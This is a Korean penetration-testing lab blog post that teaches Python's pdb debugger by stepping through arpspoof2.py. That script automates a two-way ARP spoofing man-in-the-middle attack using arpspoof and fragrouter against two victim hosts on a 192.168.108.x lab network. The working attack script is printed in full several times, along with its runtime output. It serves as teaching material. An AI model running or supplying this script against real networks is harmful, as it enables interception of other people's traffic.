실습> arpspoof2.py 분석하기
arpspoof2.py 는 0106.txt 파일에도 있음.
-- /bin/arpspoof2.py --
#!/usr/bin/env python3
# 파일명 : arpspoof2.py
# 프로그램 설명 : arp spoofing 공격 자동화 파이썬 스크립트
# 작성자 : 리눅스마스터넷
import sys, os
# argument count : 인수(인자)의 개수
# argument value(vector) : 인수(인자)가 저장된 변수
# len
# sys.argv[0] : 명령어가 저장된 인덱스 0번
# sys.argv[1] : 첫 번째 인수가 저장된 인덱스 1번
# sys.argv[2] : 두 번째 인수가 저장된 인덱스 2번
# sys.argv = ['/usr/bin/arpspoof2.py', '100', '105']
# [0] [1] [2]
argc = len(sys.argv) # 명령어까지 포함된다.
network = '192.168.108.'
if argc != 3:
print(f"사용법 : {sys.argv[0]} victim1 victim2")
sys.exit(1) # 프로세스 종료
# sys.argv[1] : 첫 번째 파라미터 victim1
# sys.argv[2] : 두 번째 파라미터 victim2
attack = [f'arpspoof -t {network}{sys.argv[1]} {network}{sys.argv[2]} > /dev/null 2>&1 &',
f'arpspoof -t {network}{sys.argv[2]} {network}{sys.argv[1]} > /dev/null 2>&1 &',
'fragrouter -B1 > /dev/null 2>&1',
'pkill -9 arpspoof']
print('>>> arp spoofing 공격 실행중 !!! <<<')
# attak 변수의 값을 하나씩 돌리면서 명령어를 실행한다.
for command in attack:
print(f"{command}")
os.system(command) # 명령어 실행
print('>>> arpspoof 공격 중지!!! <<<')
-- /bin/arpspoof2.py --
Attacker ~# python3 -m pdb /bin/arpspoof2.py
> /usr/bin/arpspoof2.py(6)<module>()
-> import sys, os
전체 소스를 출력한다.
(Pdb) ll
1 #!/usr/bin/env python3
2 # 파일명 : arpspoof2.py
3 # 프로그램 설명 : arp spoofing 공격 자동화 파이썬 스크립트
4 # 작성자 : 리눅스마스터넷
5
6 -> import sys, os
7
8 # argument count : 인수(인자)의 개수
9 # argument value(vector) : 인수(인자)가 저장된 변수
10 # len
11 # sys.argv[0] : 명령어가 저장된 인덱스 0번
12 # sys.argv[1] : 첫 번째 인수가 저장된 인덱스 1번
13 # sys.argv[2] : 두 번째 인수가 저장된 인덱스 2번
14 # sys.argv = ['/usr/bin/arpspoof2.py', '100', '105']
15 # [0] [1] [2]
16 argc = len(sys.argv) # 명령어까지 포함된다.
17 network = '192.168.108.'
18
19 if argc != 3:
20 print(f"사용법 : {sys.argv[0]} victim1 victim2")
21 sys.exit(1) # 프로세스 종료
22
23 # sys.argv[1] : 첫 번째 파라미터 victim1
24 # sys.argv[2] : 두 번째 파라미터 victim2
25 attack = [f'arpspoof -t {network}{sys.argv[1]} {network}{sys.argv[2]} > /dev/null 2>&1 &',
26 f'arpspoof -t {network}{sys.argv[2]} {network}{sys.argv[1]} > /dev/null 2>&1 &',
27 'fragrouter -B1 > /dev/null 2>&1',
28 'pkill -9 arpspoof']
29
30 print('>>> arp spoofing 공격 실행중 !!! <<<')
31
32 # attak 변수의 값을 하나씩 돌리면서 명령어를 실행한다.
33 for command in attack:
34 print(f"{command}")
35 os.system(command) # 명령어 실행
36
37 print('>>> arpspoof 공격 중지!!! <<<')
(Pdb)
list 를 이용해서 소스코드를 출력한다. (11줄)
(Pdb) list
1 #!/usr/bin/env python3
2 # 파일명 : arpspoof2.py
3 # 프로그램 설명 : arp spoofing 공격 자동화 파이썬 스크립트
4 # 작성자 : 리눅스마스터넷
5
6 -> import sys, os
7
8 # argument count : 인수(인자)의 개수
9 # argument value(vector) : 인수(인자)가 저장된 변수
10 # len
11 # sys.argv[0] : 명령어가 저장된 인덱스 0번
다시 list로 확인하면 다음 라인부터 소스코드를 출력한다.
(Pdb) list
12 # sys.argv[1] : 첫 번째 인수가 저장된 인덱스 1번
13 # sys.argv[2] : 두 번째 인수가 저장된 인덱스 2번
14 # sys.argv = ['/usr/bin/arpspoof2.py', '100', '105']
15 # [0] [1] [2]
16 argc = len(sys.argv) # 명령어까지 포함된다.
17 network = '192.168.108.'
18
19 if argc != 3:
20 print(f"사용법 : {sys.argv[0]} victim1 victim2")
21 sys.exit(1) # 프로세스 종료
22
list 를 l로 줄여서 사용할 수 있다.
(Pdb) l
23 # sys.argv[1] : 첫 번째 파라미터 victim1
24 # sys.argv[2] : 두 번째 파라미터 victim2
25 attack = [f'arpspoof -t {network}{sys.argv[1]} {network}{sys.argv[2]} > /dev/null 2>&1 &',
26 f'arpspoof -t {network}{sys.argv[2]} {network}{sys.argv[1]} > /dev/null 2>&1 &',
27 'fragrouter -B1 > /dev/null 2>&1',
28 'pkill -9 arpspoof']
29
30 print('>>> arp spoofing 공격 실행중 !!! <<<')
31
32 # attak 변수의 값을 하나씩 돌리면서 명령어를 실행한다.
33 for command in attack:
1번 라인부터 다시 출력한다.
(Pdb) l 1
1 #!/usr/bin/env python3
2 # 파일명 : arpspoof2.py
3 # 프로그램 설명 : arp spoofing 공격 자동화 파이썬 스크립트
4 # 작성자 : 리눅스마스터넷
5
6 -> import sys, os
7
8 # argument count : 인수(인자)의 개수
9 # argument value(vector) : 인수(인자)가 저장된 변수
10 # len
11 # sys.argv[0] : 명령어가 저장된 인덱스 0번
1 ~ 5번 라인까지 소스코드를 출력한다.
(Pdb) l 1, 5
1 #!/usr/bin/env python3
2 # 파일명 : arpspoof2.py
3 # 프로그램 설명 : arp spoofing 공격 자동화 파이썬 스크립트
4 # 작성자 : 리눅스마스터넷
5
l 명령어의 도움말을 확인한다.
(Pdb) help l
l(ist) [first [,last] | .]
List source code for the current file. Without arguments,
list 11 lines around the current line or continue the previous
listing. With . as argument, list 11 lines around the current
line. With one argument, list 11 lines starting at that line.
With two arguments, list the given range; if the second
argument is less than the first, it is a count.
The current line in the current frame is indicated by "->".
If an exception is being debugged, the line where the
exception was originally raised or propagated is indicated by
">>", if it differs from the current line.
(Pdb) l 1
1 #!/usr/bin/env python3
2 # 파일명 : arpspoof2.py
3 # 프로그램 설명 : arp spoofing 공격 자동화 파이썬 스크립트
4 # 작성자 : 리눅스마스터넷
5
6 -> import sys, os
7
8 # argument count : 인수(인자)의 개수
9 # argument value(vector) : 인수(인자)가 저장된 변수
10 # len
11 # sys.argv[0] : 명령어가 저장된 인덱스 0번
n을 이용해서 6번 라인을 실행한다.
(Pdb) n
> /usr/bin/arpspoof2.py(16)<module>()
-> argc = len(sys.argv) # 명령어까지 포함된다.
(Pdb) l
11 # sys.argv[0] : 명령어가 저장된 인덱스 0번
12 # sys.argv[1] : 첫 번째 인수가 저장된 인덱스 1번
13 # sys.argv[2] : 두 번째 인수가 저장된 인덱스 2번
14 # sys.argv = ['/usr/bin/arpspoof2.py', '100', '105']
15 # [0] [1] [2]
16 -> argc = len(sys.argv) # 명령어까지 포함된다.
17 network = '192.168.108.'
18
19 if argc != 3:
20 print(f"사용법 : {sys.argv[0]} victim1 victim2")
21 sys.exit(1) # 프로세스 종료
n을 이용해서 16번 라인을 실행한다.
(Pdb) n
> /usr/bin/arpspoof2.py(17)<module>()
-> network = '192.168.108.'
p를 이용해서 argc 변수의 값을 출력한다.
(Pdb) p argc
1
n을 이용해서 17번 라인을 실행한다.
(Pdb) n
> /usr/bin/arpspoof2.py(19)<module>()
-> if argc != 3:
소스코드를 확인한다.
(Pdb) l
14 # sys.argv = ['/usr/bin/arpspoof2.py', '100', '105']
15 # [0] [1] [2]
16 argc = len(sys.argv) # 명령어까지 포함된다.
17 network = '192.168.108.'
18
19 -> if argc != 3:
20 print(f"사용법 : {sys.argv[0]} victim1 victim2")
21 sys.exit(1) # 프로세스 종료
22
23 # sys.argv[1] : 첫 번째 파라미터 victim1
24 # sys.argv[2] : 두 번째 파라미터 victim2
n을 이용해서 19번 라인을 실행한다.
(Pdb) n
> /usr/bin/arpspoof2.py(20)<module>()
-> print(f"사용법 : {sys.argv[0]} victim1 victim2")
n을 이용해서 20번 라인을 실행한다.
(Pdb) n
사용법 : /bin/arpspoof2.py victim1 victim2
> /usr/bin/arpspoof2.py(21)<module>()
-> sys.exit(1) # 프로세스 종료
소스 코드를 확인한다.
(Pdb) l
16 argc = len(sys.argv) # 명령어까지 포함된다.
17 network = '192.168.108.'
18
19 if argc != 3:
20 print(f"사용법 : {sys.argv[0]} victim1 victim2")
21 -> sys.exit(1) # 프로세스 종료
22
23 # sys.argv[1] : 첫 번째 파라미터 victim1
24 # sys.argv[2] : 두 번째 파라미터 victim2
25 attack = [f'arpspoof -t {network}{sys.argv[1]} {network}{sys.argv[2]} > /dev/null 2>&1 &',
26 f'arpspoof -t {network}{sys.argv[2]} {network}{sys.argv[1]} > /dev/null 2>&1 &',
n을 이용해서 21번 라인을 실행한다.
(Pdb) n
SystemExit: 1
> /usr/bin/arpspoof2.py(21)<module>()
-> sys.exit(1) # 프로세스 종료
pdb를 종료한다.
(Pdb) q
인수 2개 100 105를 세팅하고 실행한다.
Attacker ~# python3 -m pdb /bin/arpspoof2.py 100 105
> /usr/bin/arpspoof2.py(6)<module>()
-> import sys, os
(Pdb) n
> /usr/bin/arpspoof2.py(16)<module>()
-> argc = len(sys.argv) # 명령어까지 포함된다.
(Pdb) p sys.argv
['/bin/arpspoof2.py', '100', '105']
(Pdb) p sys.argv[0]
'/bin/arpspoof2.py'
(Pdb) p sys.argv[1]
'100'
(Pdb) p sys.argv[2]
'105'
(Pdb) n
> /usr/bin/arpspoof2.py(17)<module>()
-> network = '192.168.108.'
(Pdb) p argc
3
(Pdb) n
> /usr/bin/arpspoof2.py(19)<module>()
-> if argc != 3:
(Pdb) p network
'192.168.108.'
(Pdb) ll
1 #!/usr/bin/env python3
2 # 파일명 : arpspoof2.py
3 # 프로그램 설명 : arp spoofing 공격 자동화 파이썬 스크립트
4 # 작성자 : 리눅스마스터넷
5
6 import sys, os
7
8 # argument count : 인수(인자)의 개수
9 # argument value(vector) : 인수(인자)가 저장된 변수
10 # len
11 # sys.argv[0] : 명령어가 저장된 인덱스 0번
12 # sys.argv[1] : 첫 번째 인수가 저장된 인덱스 1번
13 # sys.argv[2] : 두 번째 인수가 저장된 인덱스 2번
14 # sys.argv = ['/usr/bin/arpspoof2.py', '100', '105']
15 # [0] [1] [2]
16 argc = len(sys.argv) # 명령어까지 포함된다.
17 network = '192.168.108.'
18
19 -> if argc != 3:
20 print(f"사용법 : {sys.argv[0]} victim1 victim2")
21 sys.exit(1) # 프로세스 종료
22
23 # sys.argv[1] : 첫 번째 파라미터 victim1
24 # sys.argv[2] : 두 번째 파라미터 victim2
25 attack = [f'arpspoof -t {network}{sys.argv[1]} {network}{sys.argv[2]} > /dev/null 2>&1 &',
26 f'arpspoof -t {network}{sys.argv[2]} {network}{sys.argv[1]} > /dev/null 2>&1 &',
27 'fragrouter -B1 > /dev/null 2>&1',
28 'pkill -9 arpspoof']
29
30 print('>>> arp spoofing 공격 실행중 !!! <<<')
31
32 # attak 변수의 값을 하나씩 돌리면서 명령어를 실행한다.
33 for command in attack:
34 print(f"{command}")
35 os.system(command) # 명령어 실행
36
37 print('>>> arpspoof 공격 중지!!! <<<')
(Pdb) n
> /usr/bin/arpspoof2.py(25)<module>()
-> attack = [f'arpspoof -t {network}{sys.argv[1]} {network}{sys.argv[2]} > /dev/null 2>&1 &',
(Pdb) ll
1 #!/usr/bin/env python3
2 # 파일명 : arpspoof2.py
3 # 프로그램 설명 : arp spoofing 공격 자동화 파이썬 스크립트
4 # 작성자 : 리눅스마스터넷
5
6 import sys, os
7
8 # argument count : 인수(인자)의 개수
9 # argument value(vector) : 인수(인자)가 저장된 변수
10 # len
11 # sys.argv[0] : 명령어가 저장된 인덱스 0번
12 # sys.argv[1] : 첫 번째 인수가 저장된 인덱스 1번
13 # sys.argv[2] : 두 번째 인수가 저장된 인덱스 2번
14 # sys.argv = ['/usr/bin/arpspoof2.py', '100', '105']
15 # [0] [1] [2]
16 argc = len(sys.argv) # 명령어까지 포함된다.
17 network = '192.168.108.'
18
19 -> if argc != 3:
20 print(f"사용법 : {sys.argv[0]} victim1 victim2")
21 sys.exit(1) # 프로세스 종료
22
23 # sys.argv[1] : 첫 번째 파라미터 victim1
24 # sys.argv[2] : 두 번째 파라미터 victim2
25 attack = [f'arpspoof -t {network}{sys.argv[1]} {network}{sys.argv[2]} > /dev/null 2>&1 &',
26 f'arpspoof -t {network}{sys.argv[2]} {network}{sys.argv[1]} > /dev/null 2>&1 &',
27 'fragrouter -B1 > /dev/null 2>&1',
28 'pkill -9 arpspoof']
29
30 print('>>> arp spoofing 공격 실행중 !!! <<<')
31
32 # attak 변수의 값을 하나씩 돌리면서 명령어를 실행한다.
33 for command in attack:
34 print(f"{command}")
35 os.system(command) # 명령어 실행
36
37 print('>>> arpspoof 공격 중지!!! <<<')
(Pdb) n
> /usr/bin/arpspoof2.py(25)<module>()
-> attack = [f'arpspoof -t {network}{sys.argv[1]} {network}{sys.argv[2]} > /dev/null 2>&1 &',
(Pdb) l
20 print(f"사용법 : {sys.argv[0]} victim1 victim2")
21 sys.exit(1) # 프로세스 종료
22
23 # sys.argv[1] : 첫 번째 파라미터 victim1
24 # sys.argv[2] : 두 번째 파라미터 victim2
25 -> attack = [f'arpspoof -t {network}{sys.argv[1]} {network}{sys.argv[2]} > /dev/null 2>&1 &',
26 f'arpspoof -t {network}{sys.argv[2]} {network}{sys.argv[1]} > /dev/null 2>&1 &',
27 'fragrouter -B1 > /dev/null 2>&1',
28 'pkill -9 arpspoof']
29
30 print('>>> arp spoofing 공격 실행중 !!! <<<')
(Pdb) n
> /usr/bin/arpspoof2.py(26)<module>()
-> f'arpspoof -t {network}{sys.argv[2]} {network}{sys.argv[1]} > /dev/null 2>&1 &',
(Pdb) n
> /usr/bin/arpspoof2.py(27)<module>()
-> 'fragrouter -B1 > /dev/null 2>&1',
(Pdb) n
> /usr/bin/arpspoof2.py(28)<module>()
-> 'pkill -9 arpspoof']
(Pdb) n
> /usr/bin/arpspoof2.py(25)<module>()
-> attack = [f'arpspoof -t {network}{sys.argv[1]} {network}{sys.argv[2]} > /dev/null 2>&1 &',
(Pdb) l
20 print(f"사용법 : {sys.argv[0]} victim1 victim2")
21 sys.exit(1) # 프로세스 종료
22
23 # sys.argv[1] : 첫 번째 파라미터 victim1
24 # sys.argv[2] : 두 번째 파라미터 victim2
25 -> attack = [f'arpspoof -t {network}{sys.argv[1]} {network}{sys.argv[2]} > /dev/null 2>&1 &',
26 f'arpspoof -t {network}{sys.argv[2]} {network}{sys.argv[1]} > /dev/null 2>&1 &',
27 'fragrouter -B1 > /dev/null 2>&1',
28 'pkill -9 arpspoof']
29
30 print('>>> arp spoofing 공격 실행중 !!! <<<')
(Pdb) n
> /usr/bin/arpspoof2.py(30)<module>()
-> print('>>> arp spoofing 공격 실행중 !!! <<<')
(Pdb) p attack
['arpspoof -t 192.168.108.100 192.168.108.105 > /dev/null 2>&1 &', 'arpspoof -t 192.168.108.105 192.168.108.100 > /dev/null 2>&1 &', 'fragrouter -B1 > /dev/null 2>&1', 'pkill -9 arpspoof']
(Pdb) l
25 attack = [f'arpspoof -t {network}{sys.argv[1]} {network}{sys.argv[2]} > /dev/null 2>&1 &',
26 f'arpspoof -t {network}{sys.argv[2]} {network}{sys.argv[1]} > /dev/null 2>&1 &',
27 'fragrouter -B1 > /dev/null 2>&1',
28 'pkill -9 arpspoof']
29
30 -> print('>>> arp spoofing 공격 실행중 !!! <<<')
31
32 # attak 변수의 값을 하나씩 돌리면서 명령어를 실행한다.
33 for command in attack:
34 print(f"{command}")
35 os.system(command) # 명령어 실행
(Pdb) n
>>> arp spoofing 공격 실행중 !!! <<<
> /usr/bin/arpspoof2.py(33)<module>()
-> for command in attack:
(Pdb) n
> /usr/bin/arpspoof2.py(34)<module>()
-> print(f"{command}")
(Pdb) p command
'arpspoof -t 192.168.108.100 192.168.108.105 > /dev/null 2>&1 &'
(Pdb) p network
'192.168.108.'
(Pdb) p sys.argv[1]
'100'
(Pdb) n
arpspoof -t 192.168.108.100 192.168.108.105 > /dev/null 2>&1 &
> /usr/bin/arpspoof2.py(35)<module>()
-> os.system(command) # 명령어 실행
(Pdb) n
> /usr/bin/arpspoof2.py(33)<module>()
-> for command in attack:
(Pdb) n
> /usr/bin/arpspoof2.py(34)<module>()
-> print(f"{command}")
(Pdb) p command
'arpspoof -t 192.168.108.105 192.168.108.100 > /dev/null 2>&1 &'
(Pdb) n
arpspoof -t 192.168.108.105 192.168.108.100 > /dev/null 2>&1 &
> /usr/bin/arpspoof2.py(35)<module>()
-> os.system(command) # 명령어 실행
(Pdb) n
> /usr/bin/arpspoof2.py(33)<module>()
-> for command in attack:
(Pdb) n
> /usr/bin/arpspoof2.py(34)<module>()
-> print(f"{command}")
(Pdb) p command
'fragrouter -B1 > /dev/null 2>&1'
(Pdb) n
fragrouter -B1 > /dev/null 2>&1
> /usr/bin/arpspoof2.py(35)<module>()
-> os.system(command) # 명령어 실행
(Pdb) n
^C> /usr/bin/arpspoof2.py(33)<module>()
-> for command in attack:
(Pdb) n
> /usr/bin/arpspoof2.py(34)<module>()
-> print(f"{command}")
(Pdb) p command
'pkill -9 arpspoof'
(Pdb) n
pkill -9 arpspoof
> /usr/bin/arpspoof2.py(35)<module>()
-> os.system(command) # 명령어 실행
(Pdb) n
> /usr/bin/arpspoof2.py(33)<module>()
-> for command in attack:
(Pdb) n
> /usr/bin/arpspoof2.py(37)<module>()
-> print('>>> arpspoof 공격 중지!!! <<<')
(Pdb) n
>>> arpspoof 공격 중지!!! <<<
--Return--
> /usr/bin/arpspoof2.py(37)<module>()->None
-> print('>>> arpspoof 공격 중지!!! <<<')
--Return-- 이 나오면 프로세스가 종료되었기 때문에 q를 이용해서 pdb를 종료한다.
(Pdb) q
'Linux > 모의해킹' 카테고리의 다른 글
| ARP Redirect 공격 (0) | 2022.01.08 |
|---|---|
| Python 디버깅 (0) | 2022.01.08 |
| arpspoof 공격 스크립트 작성하기 (0) | 2022.01.06 |
| ARP spoofing (스푸핑) (0) | 2022.01.06 |
| MAC 주소 변경하기 (0) | 2022.01.06 |